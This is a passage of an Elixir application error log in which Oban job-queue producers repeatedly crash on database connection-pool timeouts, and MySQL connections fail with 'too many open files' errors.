    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-06 00:03:02.243766Z], limit: 50, uuid: "b3a0cd0d-f246-4666-8e43-2df247ed234a", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:03:02.243774Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.41188>, refresh_timer: #Reference<0.2525715032.1121189889.154061>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:03:15.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 2061ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-06 00:03:02.241656Z], limit: 3, uuid: "38f135fa-8745-489f-8619-2ae5ba97bb6b", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:03:02.241665Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.41189>, refresh_timer: #Reference<0.2525715032.1121189889.154056>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:03:15.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1815ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-06 00:03:02.244173Z], limit: 5, uuid: "0ab14b2c-0d55-44aa-a37a-e2293ec6099d", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:03:02.244178Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.41187>, refresh_timer: #Reference<0.2525715032.1121189889.154060>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:03:15.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1831ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-06 00:03:02.244190Z], limit: 10, uuid: "62935ae6-bdb6-4220-94e6-7803c563854f", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:03:02.244195Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.41185>, refresh_timer: #Reference<0.2525715032.1121189889.154062>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:03:15.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1801ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-06 00:03:02.243940Z], limit: 20, uuid: "1f57799d-59a4-4436-90e6-f836526380ea", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:03:02.243946Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.41184>, refresh_timer: #Reference<0.2525715032.1099431938.41170>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:03:17.009000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:03:17.129000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:03:18.006000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:03:18.313000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:03:20.329000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:03:21.606000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:03:21.612000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:03:26.793000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:03:28.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 884ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-06 00:03:15.239809Z], limit: 5, uuid: "63ad8af0-c6ed-424b-82f4-ea479af22fef", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:03:15.239813Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.41544>, refresh_timer: #Reference<0.2525715032.1099431938.41514>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:03:28.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 879ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-06 00:03:15.239603Z], limit: 5, uuid: "d5a2e1b4-bc43-4b44-910a-633732a77430", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:03:15.239608Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.41545>, refresh_timer: #Reference<0.2525715032.1099431938.41503>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:03:28.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1098ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-06 00:03:15.239639Z], limit: 10, uuid: "57971c14-6487-4dc4-9d04-5e3c7b06a0eb", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:03:15.239644Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.41543>, refresh_timer: #Reference<0.2525715032.1099431938.41510>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:03:28.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1092ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-06 00:03:15.238578Z], limit: 50, uuid: "1803f643-6060-46cd-934d-58973d0bcaaa", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:03:15.238584Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.41546>, refresh_timer: #Reference<0.2525715032.1099431938.41476>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:03:28.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
